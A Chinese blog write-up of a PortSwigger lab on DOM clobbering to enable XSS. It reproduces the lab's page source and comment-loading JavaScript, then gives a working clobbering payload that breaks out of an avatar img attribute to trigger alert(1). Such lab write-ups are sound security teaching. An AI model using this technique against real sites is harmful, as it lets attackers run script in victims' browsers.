PostWigger的xss漏洞

Lab: Exploiting DOM clobbering to enable XSS

这是一道dom破坏题。
首先进入,发现都是一个个博客。
在这里插入图片描述
随便点击看看。
在这里插入图片描述
在这里插入图片描述
发现是一篇文章之后是一些评论以及咱们也可以发布评论。这里的Email使用了html的正则表达。
先随便使用反射型xss进行注入尝试。
在这里插入图片描述
提交评论,看有什么变化。
在这里插入图片描述
查看其元素。发现将其后面的危险代码删除了。
在这里插入图片描述
在这里插入图片描述
查看其源码


<!DOCTYPE html>
<html>
    <head>
        <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <link href=/resources/css/labsBlog.css rel=stylesheet>
        <title>Exploiting DOM clobbering to enable XSS</title>
    </head>
    <body>
        <script src="/resources/labheader/js/labHeader.js"></script>
        <div id="academyLabHeader">
            <section class='academyLabBanner'>
                <div class=container>
                    <div class=logo></div>
                        <div class=title-container>
                            <h2>Exploiting DOM clobbering to enable XSS</h2>
                            <a class=link-back href='https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering'>
                                Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;
                                <svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
                                    <g>
                                        <polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
                                        <polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
                                    </g>
                                </svg>
                            </a>
                        </div>
                        <div class='widgetcontainer-lab-status is-notsolved'>
                            <span>LAB</span>
                            <p>Not solved</p>
                            <span class=lab-status-icon></span>
                        </div>
                    </div>
                </div>
            </section>
        </div>
        <div theme="blog">
            <section class="maincontainer">
                <div class="container is-page">
                    <header class="navigation-header">
                        <section class="top-links">
                            <a href=/>Home</a><p>|</p>
                        </section>
                    </header>
                    <header class="notification-header">
                    </header>
                    <div class="blog-post">
                    <img src="/image/blog/posts/68.jpg">
                    <h1>Wedding Bells</h1>
                    <p><span id=blog-author>Roger That</span> | 20 July 2024</p>
                    <hr>
                    <p>There&apos;s a new craze that is crazier than the craziest crazes so far - in my opinion. This is the one where a couple fall in love, get engaged, then invite their family and friends to pay for the wedding. What could possibly go wrong?</p>
                    <p>Pretty much everything can go wrong. To start with the assumption is that the guests would have stumped up a reasonable amount of money on a gift in the first place. The theory, replace that gift with money. Money paid in advance of the reception so that it can be booked and paid for ready for the big day.</p>
                    <p>I&apos;m guessing the only person happy about this set up would be the Father of the bride who has always been expected to dig deep to send off his one and only beloved daughter. Fast forward to social media groups.</p>
                    <p>&apos;My best friend is getting married and wants us to contribute to the cost of the wedding. I think this is really rude, what do y&apos;all think?&apos;</p>
                    <p>Here follows 500 opinions until admin finally turns off comments. The general consensus is less than romantic, as strangers suggest the relationship might break down, and then you&apos;re out of pocket having already contributed to the non-refundable sandwiches and sparkle.</p>
                    <p>Should this plan actually make it to the table, can you imagine the chaos at the buffet as everyone rushes forward to get their money&apos;s worth? Aunt Val insists on taking the table decorations home with her, and Uncle Ross fills his pockets with the complimentary mints at the front desk. If you let people pay for stuff, they then have the right to complain. About everything. And complain they will.</p>
                    <p>Normally civilized people will become feral as they expect their $50 contribution to provide them with something a little fancier than a single serving of doughnuts, instead of a nice slab of wedding cake. Blame Cousin Eve, she only paid in $5, something had to give. Soon the whispering will begin, &apos;how much did you put in?&apos; Followed by, &apos;I heard Val only donated $5, she should not be allowed to have anything to eat.&apos; Resentment will grow. Relatives will fall out and probably never speak to each other again, until the next family gathering at least.</p>
                    <p>If you want the wedding of your dreams, save up like the rest of us and pay for it yourself.</p>
                    <div/>
                    <hr>
                    <h1>Comments</h1>
                    <span id='user-comments'>
                    <script src='/resources/js/domPurify-2.0.15.js'></script>
                    <script src='/resources/js/loadCommentsWithDomClobbering.js'></script>
                    <script>loadComments('/post/comment')</script>
                    </span>
                    <hr>
                    <section class="add-comment">
                        <h2>Leave a comment</h2>
                        <form action="/post/comment" method="POST" enctype="application/x-www-form-urlencoded">
                            <input required type="hidden" name="csrf" value="fMgHhBhOhLDapt7kD6EhSJ4tSTRnMM8S">
                            <input required type="hidden" name="postId" value="10">
                            <label>Comment:</label>
                            <div>HTML is allowed</div>
                            <textarea required rows="12" cols="300" name="comment"></textarea>
                                    <label>Name:</label>
                                    <input required type="text" name="name">
                                    <label>Email:</label>
                                    <input required type="email" name="email">
                                    <label>Website:</label>
                                    <input pattern="(http:|https:).+" type="text" name="website">
                            <button class="button" type="submit">Post Comment</button>
                        </form>
                    </section>
                    <div class="is-linkback">
                        <a href="/">Back to Blog</a>
                    </div>
                </div>
            </section>
            <div class="footer-wrapper">
            </div>
        </div>
    </body>
</html>

也发现了其被最强过滤方法(domPurify)过滤掉了,那么基本不用考虑绕过这个方法了
漏洞基本都是出自于js代码中,那我们就查看js。第63行的js代码。

function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};

观察发现,基本可以分为三个方法:escapeHTML(过滤)、displayComments(展示)、loadComments(载入)。
观察escapeHTML过滤代码发现,将<、>、"、'全部过滤为实体编码,也就是说不可能进入标签开始状态了。
再分析展示部分,循环comments,然后会增加一个p标签,然后创建一个img标签,然后再创建一个div标签,将头像标签放入。
然后判断有没有author、website,如果有,依次将相应信息添加到firstPElement中,也就是p标签中。然后再向下就是使用了一个过滤框架和将一些时间等信息放入p标签。
在这里插入图片描述
出现问题的地方就是在头像的地方,分析代码

let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

发现,当window.defaultAvatar有值时头像就是传入的,如果没值,那就是默认那个头像。传入头像时,首先也是会经过过滤函数。
那么我们能不能创建window.defaultAvatar呢?
那就来考虑dom破坏,创建window.defaultAvatar.avatar。
看到下面的src是使用双引号进行过滤的,那我们就得使用双引号进行过滤,然后再写咱们的恶意代码。

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

这里的1后面的双引号为什么要用html实体编码呢?原因是为了闭合源代码中的双引号,如果使用"这个符号,那么会闭合href的双引号,会报错,所以这里的双引号用了html实体编码。
在这里插入图片描述

提交进行测试。
在这里插入图片描述

并没有什么反应,难道是咱们的思路出错了吗?此时这才第一步,dom破坏。接下来再随便发一个评论。成功弹窗
在这里插入图片描述
本来我对构建的a标签有点疑惑为什么最后要加个//,当我看到提交后的元素后,我知道了是为了注释掉多余的"。
在这里插入图片描述

  • 12
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

头发巨多不做程序猿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值